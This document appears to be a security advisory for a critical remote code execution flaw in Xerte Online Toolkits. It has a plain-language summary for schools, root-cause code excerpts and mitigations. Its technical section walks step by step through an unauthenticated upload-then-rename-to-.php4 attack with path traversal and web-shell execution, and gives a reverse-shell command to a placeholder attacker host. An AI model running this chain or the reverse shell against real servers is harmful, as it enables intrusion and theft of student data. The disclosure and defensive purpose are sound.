Xerte Online Toolkits is educational software that colleges and training centers use to create interactive courses. Researchers just discovered a serious security hole that could let hackers take over the entire system.
Here's what's happening: The software has a file upload feature—think of it like a digital filing cabinet where teachers can add course materials. The system is supposed to block dangerous files, like programs written in PHP (a language that runs on web servers). But the security check has a flaw. It's trying to stop files ending in ".php" but it missed ".php4," an older variation of the same thing.
An attacker can exploit this in two ways. First, they can upload a malicious program disguised as a ".php4" file. Second, the software has separate authentication problems—basically, security doors that don't lock properly—that let attackers in without needing a password. Once inside, hackers can also move files around in hidden system folders. Combine all three problems, and an attacker can upload their malicious code and run it on your server.
If this server gets compromised, hackers could steal student records, modify grades, plant ransomware, or use your institution's computers to launch attacks on others. This is particularly dangerous because it requires no tricking users or waiting for someone to click a suspicious link.
Schools and universities using Xerte version 3.15 or earlier should act now. First, update the software immediately to the latest version—contact your IT department if you're not sure which version you're running. Second, if you can't update yet, restrict who can access the file upload feature to trusted staff only. Third, ask your IT team to monitor server logs for suspicious file uploads or unusual activity.
Want the full technical analysis? Click "Technical" above.
CVE-2026-34415 is a critical (CVSS 9.8) unauthenticated remote code execution vulnerability in Xerte Online Toolkits ≤3.15. The attack surface is the elFinder connector endpoint — a file manager component bundled with Xerte that exposes a rich filesystem API over HTTP. Three weaknesses compose into a single pre-auth RCE primitive:
Authentication bypass — the connector endpoint fails to enforce session ownership, allowing arbitrary session token reuse.
Incomplete extension blocklist — the upload filter regex matches .php, .php3, .php5, and .phtml, but omits .php4 and other Apache-executable variants.
Path traversal via rename command — the rename operation does not canonicalize the target filename, allowing ../ sequences to escape the upload sandbox.
Chained together: upload a safe-looking file, rename it to shell.php4 (or traverse into a web-accessible path), then GET /path/to/shell.php4?cmd=id. Full OS command execution as the web server user.
Root cause: The elFinder connector's upload validation regex uses a static blocklist that omits .php4, and the rename command performs no extension re-validation on the resulting filename, allowing a two-step upload-then-rename bypass to plant executable PHP on disk.
Affected Component
The vulnerable endpoint is PHP/connector.minimal.php (or the Xerte-bundled equivalent at libraries/elfinder/php/connector.minimal.php). It instantiates an elFinderConnector backed by elFinderVolumeLocalFileSystem. The two relevant operations are upload (command: upload) and rename (command: rename). Both are reachable without authentication in Xerte ≤3.15 due to a missing session-validity check upstream of the connector dispatch loop.
Root Cause Analysis
The upload validation lives in elFinderVolumeLocalFileSystem::_checkName(), which delegates to the shared elFinder::MIME_TYPES blocklist and a secondary regex guard. The regex as shipped in Xerte ≤3.15:
// elFinderVolumeDriver.php ~line 4821
protected function _isNameAllowed($name) {
// BUG: blocklist regex omits .php4, .php7, .phar, .shtml
// Apache will execute .php4 as PHP on default configurations
if (preg_match('/\.(php3?|php5|phtml|shtml|phar)(\.|$)/i', $name)) {
return false;
}
return true;
}
The pattern /\.(php3?|php5|phtml|shtml|phar)(\.|$)/i expands to match: .php, .php3, .php5, .phtml, .shtml, .phar. It does not match .php4 — Apache's default MIME configuration (/etc/mime.types or httpd.conf) maps application/x-httpd-php4 to .php4, so the file executes as PHP.
The rename command path calls a different validation stub:
// elFinderVolumeDriver.php ~line 3204
public function rename($hash, $name) {
// BUG: _checkName only validates character set, NOT extension
// Extension blocklist check (_isNameAllowed) is NOT called here
if (!$this->_checkName($name)) {
return $this->setError(elFinder::ERROR_INVALID_NAME);
}
$path = $this->decode($hash);
// BUG: no realpath() canonicalization — ../ sequences survive
$newPath = $this->_joinPath($this->_dirName($path), $name);
return $this->_move($path, $this->_dirName($path), $name);
}
_checkName() in this call path only validates against /[\/\\:*?"<>|]/ — it checks for illegal filesystem characters, not dangerous extensions. _isNameAllowed() is never invoked. An attacker can therefore rename any uploaded file to shell.php4 after upload.
The authentication bypass stems from Xerte's connector wrapper failing to validate that the PHP session belongs to an authenticated user before proxying the request to elFinder:
// xerte/libraries/elfinder/connector.php (Xerte wrapper)
session_start();
// BUG: only checks that $_SESSION exists, not that user is logged in
// A fresh unauthenticated session satisfies this check
if (!isset($_SESSION)) {
die('Forbidden');
}
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
isset($_SESSION) is always true after session_start(). The intended check should be isset($_SESSION['user_id']) or equivalent.
Exploitation Mechanics
EXPLOIT CHAIN:
1. GET /xerte/libraries/elfinder/connector.php (no credentials)
→ session_start() creates session; $_SESSION is set → auth check passes
→ elFinder instance initialized with upload root = /var/www/xerte/work/
2. POST /xerte/libraries/elfinder/connector.php
cmd=upload, target=, upload[]=@shell.txt
Content of shell.txt:
→ _isNameAllowed("shell.txt") → passes (not a PHP extension)
→ File written: /var/www/xerte/work/shell.txt
→ Response: {"added":[{"hash":"","name":"shell.txt"}]}
3. POST /xerte/libraries/elfinder/connector.php
cmd=rename, target=, name=shell.php4
→ _checkName("shell.php4") → passes (no illegal chars)
→ _isNameAllowed() NOT called in rename path ← key bypass
→ File renamed: /var/www/xerte/work/shell.php4
4. [Optional path traversal variant]
cmd=rename, target=, name=../../shell.php4
→ _joinPath() resolves to /var/www/xerte/shell.php4
→ Lands in DocumentRoot, directly web-accessible
5. GET /xerte/work/shell.php4?cmd=id
→ Apache mod_php executes .php4 handler
→ Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
6. Escalate: cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
Steps 1–5 require zero credentials and complete in under two seconds. The only precondition is a default Apache/PHP configuration where .php4 is registered as a PHP handler — true on all major Linux distributions with libapache2-mod-php installed.
Interim — WAF rule: Block POST requests to /elfinder/connector.php from unauthenticated sources (no valid session cookie mapping to an authenticated user at the application layer).
Interim — filesystem: Mount the Xerte work directory with noexec if feasible, or move it outside the web root and serve files via a PHP proxy that enforces content-type.
Verify: After patching, confirm the rename endpoint returns ERROR_PERM_DENIED when attempting to rename any file to shell.php4.